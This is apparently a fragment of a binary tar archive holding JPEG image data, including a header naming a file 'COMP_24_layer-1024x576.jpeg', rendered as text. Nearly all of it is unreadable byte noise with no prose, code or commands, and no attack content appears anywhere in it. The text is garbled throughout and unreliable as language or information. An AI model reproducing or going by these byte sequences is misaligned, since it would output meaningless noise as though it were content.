xKi;ҝګu]#egRH'P31ݢ=—K=-&%UKKa71vz"2u=c8q?yJnI1Z"o v+7Nih դaQDQ Z5:7esb&l-n\,{qzn`*yqX{s'_Lŧ[)c++\lA%H-2)ɝHzEC--gBT8kf~;i4[} \m}dc=GlAƜwv^MQ OR4l`'My%Iki. OZm?0O^{9橖إYkw:սՀx 'Foh<"z?=ºKIU8a3G ۅVLtմ)N\ՎǨF6 9q'!)`bj$iȾ89Wtǟz?Ō)5dwX&6A5mB@6, `gQ/7 }-O'[ Tf{eo6C{b{TuDvW-1^ytlySO+o{}3tDQx, shƍ#et TFpP)T:W{?t5Z`5UY!I[ҴD >d> |/hi%Xקj)7,n:4 !Z- ƼtWi&m\Ț.%wg7nW6GvYI WJdrD!0-1PF)l|AIU(؂TYBP iE6pt~P8AKTLf+;[ B|TN#( T#U'v&TKs&g!\pZ(hŽ2 E!Ba4|( :s*] tTz.XME3p\TІ;>F۝Wi|HXɄ4v ]~iikO vޫ ,@'ocZfyxh;.5 2仆3lip8:! ?ϝr6[MJli#p'7HUFKbGEە+cMvn vAjip(e˅B9{/2;q2̑VتZ!'f,l;cv=J8A5HW~˙\pboIvUty4cӿua<ꦒ\mqȞUU|-oIRVXѵ,}m;ȌF6aNj G $|4;Ij;|yvB:# σ$U^0jBddsx&Kd9QF6?]#?W7F>)ݑ:n;_V(]~ӛ.Kn=xj.i+8z[bѻƘ/fH QO|,NElf^KVÚtE |O=VWqr2AupGU5m{ݰqK \rQM0r=$Ůul/(ݲv&DM*1ת9)&ף_766"+M"y^]F֚ ZBXF)+fm&ikkGQ[g\aSd2&;Lӥa4uq=̌ddycc3"_r\njm`G\kX]' m:I"l9n# P&Cbaq<.K(DQZ:y'4|=Хه#6NlL$~I /2|mŕa,g@ :X((ߑ N-nQ~ly$γVȯͪF8b7jA~Y{{6N6P\E嗸uv[E<* g11@ޑ#NE&& 0NʫYv,YyoB@4?tF>FI5RΖXF'>]Wt#d2(e=} yM<X#ɹCKZ4]RH[vz\O.7<-v>ǂ׆#`9䀸m.;ck NLMM|sb&cnHd`WݣwikA3e8!i`&QPGfA\&F<(r5,GֺxmR}EMq ]<=Zn<u ?rY㉬{ <#2H4s ;~^PHd4٣O8n S|e兏+.ߺ~2_.N4^sep?$-SE$N t'4;w1!{(] qb`'bhR7 IKݞV6#.5ŪOOse}4?*\Ѳ$ݵw U$v1nYtoYaY `fqlp&#- NE^$҅9E$8z{!,a#L-EY^c/cnV -#s\ 2= VÚӡ"7)'YZ<4Jx68BB;r)9V=?g<y -zg-;`n3,$ȧ3F煈Ѱ&yh滕5DKI#on== *SfEf4t2䚊79OM,B#;boxGe&1|Xִ8jD8}ܟt%HZ,)xi;qNͬ 'O[tړ' 9Qy+R4r]M,tr<MRmq#{ۼt*(XdzAi?QO&'Oe56eqY.ٓ/sG;MqO 8ڳ a]7O? 7 V # 㞫r@+ #x ٺSv:(w)Tb7Čw A$x,wCݥW7UB>SیF?*BfX quШ4g~- g)5㲤ձ3kouV/#k-T9* hKXLhVἪiIAfejYfHO\GoQ{=&.6;~N0xΥQ,3ht@}Chtٚl1GT=72wɴƢHJ\sskÖWtT)ELnjO1_*OkX8Xe~`Y[7 p -rh-Q Q #+dh;Ls-`>謆O @em'iL UmY&YmQMPe:nF(F,DΟ9,тL|=wJN#K@K+X8+MuX! c1욝 BTc[$s)hj2]eqot^1IHV\64L,'k A8.*# g/}@BPP͖v`λ: P֑j|ԏ{溾}S|ėZad|2At9L88e[3.3X;g If9EZrӇ= /oN>;1rlàmj2ٚMf>dc^v3gN3Lmh5} 5͞d'n, l̉1_ ZCA=M-F\Uwekpɇ\YmU>.L}0A<҆ c?|8YXXtA郷7|ڡOk9Gӡ=T,{|*]OQf<0C$$Ug455@GNjv31ަ <(BjC]+`<p8О6G>Y^iG r].lYXdˏ5rDogYd{5\ G?a[_grGdجȁG+ dLa>Q*Ce>6 &'†-7KvǚC'Bh"-;I}I6{Ǜ2!ں"Ǐ:-9|_fvih+ZִJq[oo ) qc_<k1kh *ľ ')9I= Iq4N4M#u6t? 9ã^64[\?`tDZ\U5×LRf6K5*;C7y٤+ G٣R0sop)Tl WYu7KfF]Fr.9h6N\şC+"Ai'KF+oes5БW\"p 9>64t/13&@%#"8,L҉#i%Jɚ'diS-l^?uG3F9ӗh 6Y6hf|N?gl2@ZxeQeG.<q~~ok':'Xy+cK5ƾ|Ztt)ipr"8s 4Z\j 4ET#܂)s_:p& 6[<VopA6H`#ʵՄtҌ|gO&W#OhXyP *'8T\y!M]d#+DYBJS Kq wF,sD !(w h&pslkv 5/mXSkɵ2VvcS] LMJp?A\:=Vr :Wָp J\3(ޒIe|*Lyybi~=ў,VK c4lgyBui4)AˣUuFZ5N^=$lɓtG,Y涨)UG }lRXEJDtPN0hhI&i4VFJF j:3졝{hz5mP6[({5s~Rdjck[(g74[|a>,1HC9LySTz$zLUu$冃~Q>+Kxm(5ߩJGܰГ5,)F R9 `38'ю7uC"fjMoVnsunW8zgpe)c)4o{WGPe4 ohԼ+g7Apv](ƲmZT3z\ZIU9ƣ={{KtOM6\,o,v~AjYܜ;3Z^qt6<4_|tBoI&Hfn#܀0s!ާ4y{EDiIXw4ʽbN?$fqRO*-?Kԡ"bKcT9hؒ Ly+S)Z1k˜;Kk2#ns5=lEe❹26÷_{ᮍQm?n$Ԍcl- T-7&.!k(eE[ecA+;fmњ%8٬pt@yUs$Bwi ؜HKtk1Wdp,X͘$\戮:5DZUV/9]o wccAxO2B;B$t YS60fўMZWŬg`4RBB] ]ɎHe8B_q˦%pCDkCd)0 ň >T4̏!מ^=T glp=x|<22a/=߸vRNI $9ƈK#Ŏ?S14,"FH.(eǦiGvӴ?z!q1cF$N&_T<^nByoU}1ćЭܪ|܁32q-̰U4Gsor\%cCsNO&.bj3]rײ:&byst߄Ð4s+eҲmgN8ǎ^ 3kA[X #ʐI1١ra> %w>Z#mCǛ.73\{'kIzFGg8/Cy׷u5.V7l @~TFL#Gԙ>^p$ciDfclOnZm5i Dp]W)M :,lDM ,dAdN;O©~y wF <|fLWMT7"iZ6N XpYܝjL@Q!Hȱ+A|ۉTJdӹޮ{?3 ^dBG'&wIoW of¬v62D1FN#e䄄͞httiHLdd|`;qB #ձ%:LZ,SkjV liǙ`X.'láTSb3_(2f${O.]_7Ť'2X>C`yx&EN򛉛$LdirtO*14_? i|Y-st`N[sʧXd{nsh 7F&p8 T4:WHF\6>IDyHim"t)r]҈t p7,m^{I ,4Bᚫr# kDZT69PH- T]WHEi OMȖ3Xv~鸌@w 荞[\`u.y͒WiEBFyÿkc5 mGq곌r2ncTdl(' Loe4pq: 㢦%.Y.l+i<.g/=Bf.u'/hxkEfnLt=_|"d2LjsOwZJw$:J,h=J*xߑ X>laonźYvܰl-P4t:-Q͊n-)ZJ&N_Yic0gh:v6MI0dʽ#2RN쬙&wW:Y:) d2b=dg[(Ovn_iEz#i3M#ʕy[<]M~^6d1l=v&V4A1dry4 YN?O=pú16Hwxpt/z}ԹykGÐէwG`tXÆ=;M&_6m7x&9L~QFOvPOI@-+;!ʩyG8imr;a(yzMQ*EɅ3'NXM;zÞnY|$&,]p<=/IV;piډJkY]Xڸ zjl[PcۖЩR&5A- 9Z I6+[Ԩ3B#>#RY(8 roh&vHZK\إ ,sBf/8uGܐ}+y#:eB}Dڢ-ʆIK]G+ !U杪>:,MQNXԻ*9t{knZ0ȡ-Hy4T6gǴAdx;.;7M_HlShGEAj@7j̕n)ړ1iSyYS<} 4rlyɖY^!*uy_| O5DX39U.QQ4*fKA)cF+6"tm 9dܦT,(O+4SwWO*tXŒ[oTvQWWt9<Gŕ :e$vxTQ&\=3##lnט1?H@-p藕Ld(]X/=Pv5Z'G%  5},IQJݷJ7̕PË{)ɒeŊ̈%s{[C7̱;a֞  NKO[]zx(%u]ÍlY6DݻE%kI=F? Ms}WBu.] ~L]&\mGuM&[yHp[a@iv?t8osscmW%&DQyVa"$֝LB@[@7,oғ1mZhh#7}%FткH+rlڄu,w P7W|QfC b`!_\]7NrjJ%!ʸX~~6;\GZ똚N ]wzF70d ;Lmt(\3r1٘8+VgGyƆ)&3D lN@UwsDSNH{253i9M(n&*+"7xתh:~lLŜ!ǨK*9:,QÏj~Y6I 91`Ke ?U0q݃4̏s׺d蠖 OR+v qƛ+IsK"R<#>?YvLok};#m(a\dBK`bed !co~lZF4_U$,+ ˍ36hṥ]BLɢnG(`䌖KC#!ƞ[[R~'Y$s}zDeECq8{Y(rk|[$ۃFD3YY ʖZ]SUؒnϞV06)s+SN'*8$/#X|S> ёܻHL-/hp,$Q*kEF4'ǓLlL' Kn&\ ΅Y(43qY0&8fa:2H QTe<7ɟ:u8:p?o4,GLB9"'z c0/3,ac4WM#}AWeؕGE\Vv|L[U(`4бج[.׉($ ԢL62S)X`*hf`ڟVfn4;$3+_LN?< 5cY-mه7f}G觇D,( fY@l %P=<sePY#};Q/kfs{{uK|gjN6M1./јԴݮI=q>@|0u+_|g[|5mO'ʄ iϴ1gTyU$Q#o[88KLl51;Yf2KQ09-Öt ::}/W{t3c%`k1 [l+tGvx5p> =:v]-6Ce"7r(Ad9̠~QZ">6d\ sy'd/qq6JxGODž뺀Imw佂6btbGQGXnhN=Y[YV̟+#$?{w72jD-9>n3N>k2#8t;܉ݑ<n/'/ !fJ\Vl˳2[0h{)p*avvuv)q5dɉBƗ0I~/*\\9 Y4l5|}+KаMlǵ|IhweH߽*T1.)L(Pp8 ~$glIKJѓGa增Qn-%z՛2v ++h:0xqf'CI0Mt VvÊV8ю ۛH G2RNH1NJZ}qǺ@#7&uFc)6e:m/R}ʵ~F]:& xΜ= "ZUZ Xŕ6|ػ<"3%Y_ryOZI_%#]7ǹ\:1hApD5r~k4IW+Ҹ˥j:3"`KM]+Nsc6UpT{40gXc!čj!B$\AoNQo o=3D1o!Z@LR,b1֔.ԜC ]觉AG>Er;)fl'gWyEʦDŽ_Eg @+AQOuQ ׻q٪G3Qde $>soTRpU} W(0 3J{u}YC6T"WuWsjJ L|_Sh!#׈\C*:=֮NjzJ{ZHQKs }XQڗQ4pj/N%Xc2+7?fY٪ǨX5 uFG%f> 'P<;sr#P˻6*@vwA5fm9ASM"Z3ԳQ2~䒯u!򵋢lX$phohĂ e4;9TXY3:喛G%?PӲ zk#Q#y.2mZLDͤr>)br}dqQff1ϻy:OYGh:1}qw%+V~4x&jVN.(bg|;~mouscț)"^+R#J dghލMf^>4,cY$kIiQ9 M6x[&s}©iKa*]<2(nBFGŭ.VY Ժa/(0SDٟu鸙YrY -(4PcB%"g___©4ω:iO~`-s7uFqJ3\)gdGO*qݱW૿N͑ YuETd.)23MgǔX(XSq$D'‡AɁdd% 7J)1ve`Kܒ+,NvK<^]wWz$Ӿ`I\LV'. 4jw^\(l2)mcI>2;"gI5Q&8i492[tz&l|i atA &q 25xay rf S(J.5۩HXѳ֫r1#tDH^ܣq*˜l 99%;UTh:t]?+76FO(GS9yD6*8tE~?@ƒR벺9!cA?r|ZFAwXloڽx];1dI75A 7w(|}Gt=o>yBl$$I ͫ w wUCg!syS$$fw)ђ{0M)c;MzЖr4sB /Qʇ/)0D!l]{Ɨ@૿AMkCrEG!s챔}{㭡Ul~^F3c72AjoAIA& M&5㪦];JO{N溬ge!Az,r- OGx-?~D`o. 36?h?+o$ђFN6xeS>^۾WF%lU TYCހǺ˖%xcDve@C=IDK7jHK#Zn&{ MY(-!VgeXyiыBY\L<ܮ]QYR[8ѷ4)>n}Gg[+)ckFSm~F 1]W3]&8iMk9V  ҋMy[tC0vjv:r֎yGzp-+de VZ9ohʱm$kp\JL{ |i7u&vГbtˏ )) RqL8n֞j|{膖o'V,_еxqmԨX͈M99 Mׅ].5]c;ީ씂7o!Z i,#⚕,SQ >,JCl`ʂ]L *#P{.Um#Tl5C1'qg7JOvܷ4i6"uaREwfY\ܯˬ*|`H 4үi"S̼)@];Bkn.IED]7tʒ?w%ӡPv;dwӛ`QT_s.Zƴ\9n݃Jʜ@xYI9a7TZWK 7 QHk?ڴR,~<9kl&y$"+ +N S-1^ҡPqLy2LaeJJ 4OeqYh¦)Rl[Ϊ{w92@Hxa n6O**2!kV^M- qÊhsN*L%אJb4:sx=1Օ,S,vQ%jh,hf,c}_bF\+;##Vܓ;ztE՟-]EɔRx*9,^OҰ"4)?#we&:<Qҗ<pWf?26 |53 S{'d2NMGR@gb!+\sQ}I{c"0xE]t3c n2>qj8II(|kd!w~PwY}_7 2@Z۲ ҪɁ@|EwCEd&|4>k7L%imX}_ ̀Pxk ˕g@ljHA9E7VZ6Fsl-h9unA6`6C-ڋ,3d>I->~R#$"]C8 2-]?UfL|;|?0d̑KTu |L<g&s-׷D4 y;w60s 2EdK>H8lo0+ѻԹTkGa:)M$/K"1b "X7k-N2OB j?Vfq  mk `xy5s?d_*BU.yMU:"'"x$*^#'2+eZd李hFZj+xIČ>q`VlհZ?qYg,k6:cѵ<C +?.evz,7L+VMD6'H\zKӲ5 6;_[ nNY_\5c9֗c KY dmgV6;ҋx NȗPբ2sS`–N-=] lY.C\*lڽ~\;TVa e3;vWƊM(Mp Q mдJ1fDpM#wJT!@}O OKt+㏳Κ}Rߩ,[>U\pXșI!:1ESѻ@$ x(p0 `-m׀}F(;͕wLgEHݴs_hr&m"Ѯ71KZj\q<._m4粱?[;,.qs.SKy[=Y}G<\ ^,=V8r!C9y䨞5.Ǖ5wdcl vCcZMuF?CRPPZ6.fyWvEۣ`+ B &GGV<( <܍6HhEHwv#ZzoOU;'X XN 0Z|z#赉T}KdQZ]NѿWhaYE^V rǃb9e_p\:'txgc]UNYyi iec5etcvcɎ{몥̟?&@h+ E y_!qosdјLq-=DeNw+$ҵst.\c:Fq$:Y5]zc4>G^&ic<3BZ$ m8\5`:摁%;Gp1C޸u~;@?uF0;/)FY F; iucowZ(-F$ar$fD:C0w>XLݰ#סgc漺(Դ,kfDh n8SY `H s|[E?Ňχ|9*} W,6Y\DH¯b𨕹NGF~O F ]vZ _m҃5t!w4g027ECc@'?R jkK1Z NqKT܍- q;M +Y#@-FTlt ֚gd|e {i㉖+m4թuQD|@'qSOħR9woYYݲmG? iK pmg&I|-=YefU*G^)[3MaJZk.ş lw($#dZ膶{LX.{2cf^96JN돎O>BCP$`|I?wJSY&@U c|=OyQ~pWWS;Es3ɶמ,f7fx:3niXjQc~#ZpGu2@/AsmԤzrC(kkz,kk]BoҟH?ȾN UX4g&Эh \ <{Q*p)V6lNmq}ksaL&ߎݟs;#qWxʌ] +i.Nondn;ņ!aڕݠO$<+Vs)rG'q{X\hXx| -|FkHA]z)*r+?video-media/COMP_24_layer-1024x576.jpeg000060400000222262151724237330013064 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtOz2dF8 .镄k#%Y slpk,ۿ1\鞼2IbmvyL1*Fm-:~j<*퍡87%K]~FTֲ%H~D-#JAU[1sI>)_ɎV6ڶy !e8FT" ^^*FlP5;ba%ĜO!ݱA5٧:\K#ëz_PmփlW];T3*_J1ݓ)BGg fp(2\#5Fl@296Ϗx. #j\>:cg,rz ~*7qGե< cI H?*9?5siS@7A%zT/XHQ{HSH"[Fq(yͽE:HuPv%:S!SmƯ7Kj8$$M:x-H@J d]*8>vYZ#OtNOⴖDVbf5>KPm ս@{r 4?>YW7h,U|U2FIUa5S,Oi%[wi5ԩ>TysdrgTRQ.AGcQU!$*N[ⳲT 1ORJP4,vXOCi2$zPq74c޼CYv7HjS}EmgMVh z/MT(itqWɮL=oQcLx ԭ"k.f%u-f$ 4o ̩[򱮗SqȞ ^K9r7wz pɌJjWa̠+5nc3 Yby)WD }fθ;j)B1L+*J%rEGDUOU➫O H mm:Reh&8lM1P89[PݪT,Nß5ECO:K(_q9${VGBq9Ec]iQWvq_?NR cޅ F`z-I\惧yi{r99 zOm$`:bnqSL{xAKo- wuiZVf ,y{x%!';}{MM"#RkxK8AT4(Gm$H8މXV6 y'p;FI>k!V09VzLK$Dr0$RkWWy&nBn^毌үcP41IpI,Ezو56><|ӽ$Ȕi%ʜG+K㇒I8@ɇ8UK_Ju"cʚyRey}ƜJm ɪmj"z*ݏzx ZƸg6ʌST\ԩٿ4-;]aD2R\WyƐ䎊NER(qJV:MXP-hHVW)6Pm7en)4&ߊ)Zn@)1EM+vM &)41HVLS +MڀWm PM+D!B(+D+I\V 4&+LS4P!;ؠ6BbLSb &)WoRdidմ?6渻9``PlVd#=Ilpzr?2FC#O&m=iJ#js sֺ\y1[56PE.l3/u?5Y巒E%uAkyXX#Y x³cv;z1isN;yDq։HoJ$6\ս̰Cp}A.jzc.ʟsPX]q7r?T?{ Tm^ D+Z@sOUO/Sb#;(cYWWCJ()=yW#grO=w䏁@3X}LrFO#_-1Ro ~F FTaF\3Aچ|GOrvnE޻}J;IP.d$~$(<0=-\^ !I¼8k icϝe)g`/1 hI~暊z}=Xk%9e;1:*.CW IO8<#e`7kbyֶ3pO(@9U~ewN]wz68ilJ4Dv%+gYdTuQ],eԑ͇֒k+Yun;.`k fcVjsR]e6|`&DڬnqqCrFړhqI5f#qPfMLPzHk3\QBRT6jQ֋TRPrLQEX NM>@tJO*Uڃ"m4)Mti9pzLUi |cZ&dXY*0F3Z#J O7 H ->Q,}sQX;[m4Y.eԥ-@X¸CNJѻ{-XLmڸ=I`9@ѭʠ0L)fҼڣѓIO2hScIcx3JǷLU`gDIS,(j=P:I#o@N(m8 ͍~ji<2+5 L5-"H\+['_ɝ쟧[!kw}ݨfty H.iڧ}-1ȸvPy}o<"|cRac)H$Wj9A:SAwO0 !.p03ǽX9aA0j\wh\Y׭c|}"Y$6{^8=G̕lQC~Q3t㩯.G}p+`Rp<ӲxWbPq]v+@bbh;[iv]M).+NJiJE4;JԂi*)h)6&bVMi)1O&()fE&(<B޻m1"VE&8⋶E0]z~B byMbWn)1O7m&)Ԙ≁](杀2xI03IQ)bIv+E& >aZMSȤ ❊RgԀ16 bJ seTK"86Ysyf<(&r):=62 ;H̀sV@VCvb :BmR†qWbiqR->y1HV@xsKEmDTF~m9~iMGnqSS+|}+"+GhcqU})_$ 6yN=lx;V<04 8,3!&eY{x>{I6qKu5^IQ97cΙR~2[6WQm%Nr⽳]!mDA]~(>v:V؟!]kMs(.25NU<ck:%'..:S3L)iCϰ,Dd+TѬ_r+7zdeO4Ȕ) zGPbut3 M/5 p|`G e&)\ ǧՍ[XT`f/A H+>S6Q»l Ba"(f5?;Otz[b&{9UNi89hN/o^_ ZگG^T3 W:]jm|zn5QC,%ڟB 3 zGPI5&m"3q@H3om^[=eV&TyHb:SdwzGAM?5w ʉj[)o*oٹpH{ڥ{'<-т Bo& [o "#K19V~okGo%>xy~ƴzng̐n=*Ub3o,b)c8#p<,Rݞ?6'v6)bc:1Ma"`s^[i!;QYjF{WÏ$}98VpQF+<7oV$ sQ;)ZX4H Wz#TMM &H0W PmmHIHn)1uqkKP`|Rc❊5S_֯bc'AnsZ(cxl`y|GKɥWr`R\uy {6_~>VLD@5m= ӊU~%'T` T֋a&fGAT3ZydWwSNLö+ΈOi{,c订Q5TxJڎ ғozj6B ;*"<1) $ǵ\jz2VfzPʞ6 4:+jL⛧o5(cD9"OVұczeRN*QϔdyVL.;ezܿI8B~Ec/0lWsD!NP{^v{Si5aT?H苊Ac>% #湱gD>olf4Y[ҥlݨu<6T{^72T2屹s"Z_ X9|%'Dg<ޔG@e!$P2ORȡX!y?$ f(KS¨jٽ^i<{{עHR t=מxSԣyHbN̓E=Wc;Kg⼩VVE (;ؠVRb\4EMđsڄɊ6sM#5D;i}i B{H?v)SqT#ҴP1I&,WbTSJ1IڟP [M7nhiiE)(ijʹ}S B%ib¢m4ښVLv!N&(Bby2)bm1"VVDWbEv(290n( &)خHT~)1@ iLSm f4X%d] ilyO¾,FbԮi?1=ģ薁UIL|W`(O3;6 P)qKWMqI~)1HWbS ~roQ#20C z@ Mc ȐL}x-@yRtv<%UR>PTtZZVbSՆ}4ӻ0* HR7H}wfggs"VMPd5Qu{wq[O+Ncs֣3eQ.߸c%` Zh@TROj b;,l;U-ԳD9=Gh1 %HU0'zvZ!yy am7. %;ø'AZټ6=z#K9?gF1!HITd*>Fe 'ifL)f sjşRpF8jI#Ĭ@'0#o'< CV"q\"ѿXz"9 OLa7'- t9 ءvzV*5ڠ`4ܝ܎(!Ʊ)Ґ}έjb¼ϟhW;ފY3Rk:Co$1}_ElaF#=~k7ehw)X⟨_s1^Gde,Z*|*`rrøK2W*{8`(随rE$QZG`AwEbgavzYObZF-Obq?juB6+?FNOeREN%֣lsWHʃGɩ|n֗B*ONx?qQm?/64Ƚ{TfS5;kfkv`~5/]ۣz~?ћ{k%GsK#37?z[{+q4;@ןk"X]cvnu&M29֎( ,;b~+EpGJe->) P@ڈ2mz)ʐE.*5Z!اbm&))خ]KPbTuu IDE@IRmhD" p!ݩ6k@ƕ+Dҕ@vb⛶-S1Zi0hئ❅)L+R UXaN(qHFE14GihIiݴriQv bm? xq@HGB)PV%m3 " ~)(yO1\E>)BO 4nFRQ[/7'Hka-aWzi:ۍjR9XGjޑ`xG:qKb֧]ף?R`9lnvMTL>g'ƽڜ1.[^{o$SslloQ]ҏ8O@zoV:{N-( xlk>"YnPgUdݜVV{Τl2 DQ1Tf7اm4&3N(%]W L#l$srN=]5M!#ŠLfEƌoބUhtP%I #t"j51\leRB$Ka\JGZ ۓޓuЛffh*+Ѽ?휸T4IV]8[!T )`*8ėIdg)daOogMIsTie0tiGB3ogl|dzqk:ʲ6?zk;X2\k5{.Xh^)!x$ N8zW7Z{Jn r=2|Gj2P ~giiR[w\E4lÊM6HO Fr$TQo5(bSq^~UV{Z[yi۰-_R4TCp?&~fQ27-Ⱦk\jȱwOu Y&xoS*RŘIiѩ=sdS65đ9ybבI!aWw%Vr2H?5J*r=c5a y&Ăk&ӡ5cb18zȨ&:=OJd0a<=DaֲPV^vbXbm 'W(CJb)^i7v)IP6 SBλPmn))Rb &(0) ]@ 4S #s}"( Ҕ→WS)sHg4<iGͧ"!Uyaj-MaNwn{R'3ak>-&\)!QZ8x\7MQ#b7,7~_º͒_* ~e`xCGgMڐݼ˗ԧ&./h[yw Ǔ^_:Yj|VNpcL3Aވt,?^p(FX^,'7es[ib"g#l|t R**5"zR$A$UYވ 4,Սm9Jf⡘m=+Hδڎ =Wx,>1P [[+z4^{ebR JLh"ճI׽SjZr]K,1MvLrM.^\ڛ]( Qo $ӌQW\.wc8z!i/j6SXfwbxd+یz=MI5w!EJ8ȪjMz,:8IQQ$42\Fzr f. y z 6h)`bWlc#Ast~"O*SQ@SbTEIx&b$Wt_CY F$g]k)'PĪt[yV@#$T$ɖ5/á$_~ٳSŤ m$ U|lxuEZ(мji56ek=*Fq͒>Jk/GL\}?S[}Oɶ#\vr7)h?ޗnD&OW+gLavҩ$ @5lȖ:sB1ֻGO`"7zǑ8l+6 Jhm%dE|j[`HEf@ngI~U[Y3mnk>< Z^X *S֮3DJ (P86"=Qe n~+ND&(v(iiPvLPL]1y\SNR1JǠ  4Z,b(b( *7z\)"4 ۚi5(os@lI iJ,TGMeԂjiwRqL)Zd)i*ibS6>aZb$WbTSJ*VE iLSqLC)Q vIB(L@ҢޝX~ jjZj漞BxQ[{7ɫB*ny:{ץ9q8Ίǝ~(1m.m8XanYOg4&IUqV^2kG^ȳ9ajdr<گ3♘2cMXsQ>yV6fcZQU:!W*8.I]dp)8>0;*$d+drQ%z5e,Vn/tKI]XQ'%lYO #ն%`@/!ǒ@S<(m*1Lro|mqI:-u;mB٥%T#L] EmurʌH$+A2Eo mY+!rJx1z$sHF!qNfk6w7.[n]Nɫ1 Kjp 2~+sѦi>YO *FΝl$c`Y܏u,QlSo4} ~=4` woZ C)2<"?#oڗ7LJq;5F*R# "FmYh{OH#M]d ވQW@/?+l?j`.a5skjYS=>xks @3޳xl?x72NǷ5se=;I\Z@dp;[q,Ӽ*9yKVt8A/f{(Q׆qV~ҭỵTwy)5<(qXK X2`-+%n-*M jPFj0+4t#+Fخ;{TTTK݌W섓68/cW9SuLj^&+.ElȨrڮxK9CUtX*<).50F <ⶊ1^&,!QB gԘdc4=8z5@jҩb]yy 5f{9rj[VhsD1Frz \UY:QfOVhɃzuŒfӹaM_8#=i֤o <4:pH9 *g$TFgMycW\8i 1Ң(xP]}@Ma-޶"9Ȧ4SnWdEƫgzޚ-.^2k>13{Ljg|c&[E!q6}E\2qx1"Mʬ!^aV&+,DmrX.IE\K1FVF1X`ˏ,"2WNz`KXQ!vA5زKZ= n]@d!suY>^$Vqx^I4pm%Am.pýUp?junUHrY%0UTd5h4'ܙדcTE[Iq$`ak ViRE#n9>[qboFH@=Ncvݝ]B ֎+Vڤŧ";u*4Q #kAg$m:,}@rs5H[KhYqEdbK5T'?HȘHs eڲPo7OFrKGiNQF5 GG֪QEZ"싞0j.>[)PqǽiLőaxu |*G ӭk4`n,]@uPzRO9%D(Oޤ{bjm )<^sEVE3" )U[/&Ly#>=N] VS͒)iOӑrmYdh.p iL_=nv qU3։!X9E@7\+ Ku"㚷0Gk5~)|s(u%P1H'5qvKC.9FI-ػe",TP#QUMZ*>ce ,4}sS̞HKNѩ)\k9mSV5T,)~R[JlG#w4*'YFj+㊁mr1SSQA\NͣHx=tq&5=A!ȨV-S$E{M[$lÊ6+X)YGqze${Z3Ch|ט4l2*%*V+¤z H \jȵ9[tn~sc9y53&sKL!z=.QטE=sV1C8 AdVz^UpsSSVaUgT2\Ix!ՙHӷv*,=\=T &(M7ІɤN+@$9d 4 ?и.i7cWj7ؓvcSȨq #cuy!k91Ӄ3殏S@S9nBHAVi,kFP*8Y^V<LU&E)CdIUb"2qL*jc 4M41R)j bB)@Iy3E[Rj6'E,+WRǩd][V]JqM^J'$ݣY{ɭ9Q<'D^M m7oSB$P H'q&ڴKaWܑUփiD| 'gjS#,4Е:̾éTVB]]Aڽqƭ<#ǛJ摬8PuFw9ڻjN4Y%OI$8hTD|ieLZiteqD<}z͓FEz}`H.`t-[NHv$}>Țٴ05+Z(!2mjqbpǜ淗}oS,B $O0!sS>`٬*s4uQī HE2Yc$dd.fHWq$ ?MU\.jD3IoO:[uQmQ:pN:g$NW@@#r皛ټ:(䲽ҖYmgQA`T;ֈӫԌ9>sgii:-[FUVyi0ڄ2C2g t-e$)f|?ʽ\#.ֳ"8# 8(cɓZomtlҜuڠUc@ݏ5BlOctϏcʮ!E 4ҳhQx=i sڊtZvi_A+"fWǧx'p49ĸfRgxQ GmiK#+YFp*["Qg,eLPzK$3'<֖NS_5ƘR?H՚2iO]߆ 20(`ok?ZgDN*Lzކi"A5dQ@}_ j;+QL9 i)~%aj8\2.%BXkE;3qZYAiޱ;=hqݺ&-S(*şkTu4!GJFmA#aR1kq[=X]*Y Xc#d \uڳ&z\n5P?I$VEvk3i'H54qºc3XdRb0(D"y;b&*i!9ʑY=ͳ#Iɒtx-Ij''^Un5OxV-bF=%5F8e%O Uo 7ii1@PxĐ(ό !$vM eT^( iCiqi”&c-UQ4I)Lh꬞$|qM"S)A\z KҢnZE#uD3y`l0;UuwVmoS}̢<{aZG%m`|Vil$"N+Ov+D"!M@](6L(ȤՍ:%1%ojXm7/CD@ Y(ׅs IqLlPou),\.W<ל]х%84a*zw`=unhDVԩ9490ÊsNiABA*g-ʀPwm^ P[u`[PFlNqLQMfrFM&%$ze䎕% Ö2iaNjbg\ jQkt&V5ɡ-y\#;qY%,bD\qQehxh2*\D[e1xUKHxnE y+c-T㪞 b.{r cUbN;VV" VH2j1-%@䀈U LUh~ƜbLXF:HTS҂@'! 1%jCH2g:G]*1yN1s[.٢W#BҁUsIjM?po(VYCv%@(#mce# giIT%sX(p_%꧂)HqkbuCqjd(0R-cLUArh\\h,[QvȬzբ/Jm)cwlO9!}#8ZQ; I yvklȦb9X(YU4j^AK [!ŨȃmTw49,AP%4)MMH]k i4qVq&jkH6$ *(`לE;GaKٜx(dqE=Z[MrTĊ^'%? ԃ4*5cwk~nsYqBmM"cHeWj@KG,L.(8'${ [tHa]ۗ4x:g EHӍS uHn>oR&H-t'5)r*b@/;wP;,LNJC%nE=P=5h' SUրE=T]"XVlPqD蹣F-A(m6zNZe r)jQyyI7''ڸze";)>2tTi20[y|Ww$}umylW6F&C$y6}t=`[s1H1N\vUgSu>,>Ԙ`2I+ZQoH1@&9#\7yq7TCz(8TΆ cO_Rج#'yA B:-mp?4|fh>2X}>Q8#5>GKC.EҥY=u1Jy\W0sUV e9 ֝ E,QTs\J\%cA4YiZ3XE oqSTՠiL..e9#T9=#/\RZ$*"=49c0aOZ_)T;q>Pes٬fEX61B"14\"Q|0;fA$j 8 !sps]m~)16bWn( p=9TAG85ʘ5۫׽dA⣆=x$!=`s]IPqC&5[渜& N-nwNhw% :ޯPiE{p)#Qmx*Wգ/Z%멣.f3D&2(BqJVF E1ֳOí' F'52 ;|rzMxmz  Tp;R5f*<õEY4 O1$fy5O}i$8n@l_3Y,$WO$U:1oD="¹Q+3qQTՔ̶MkCđխ+;- t"фg$~~"X9klsOU LS\s[,VpeHŅ7ɑcv$FsO6(sdk1fpA&eeZ6zv-[g)U'8t*gp(~% tZֲ"P'hԞO9֏c, \ʫD%ʞdNf0eezqO- FYfL%n`~94Ɛ3Rƅr1LRAmqOG\d.Ej|Ddi>I5`D$.nJj ; J7dԗ#(js(v sRjWNvb*LZPM - Rx W 0ی_?ڶ_{UQo$s\Z©ȁ Hr WhzqQ-R'A"PŽ"٢cjV~3P "9 ҧ'{juhЃ1?Jխnns2#tG)#Q(ZhNy7Vrl ǧNqcD `n_ԏ{6Ps@HVyxo8Ud}̛AfYNH[?Zaoi| ;H?"V\03`?ֱ3&8F9JH 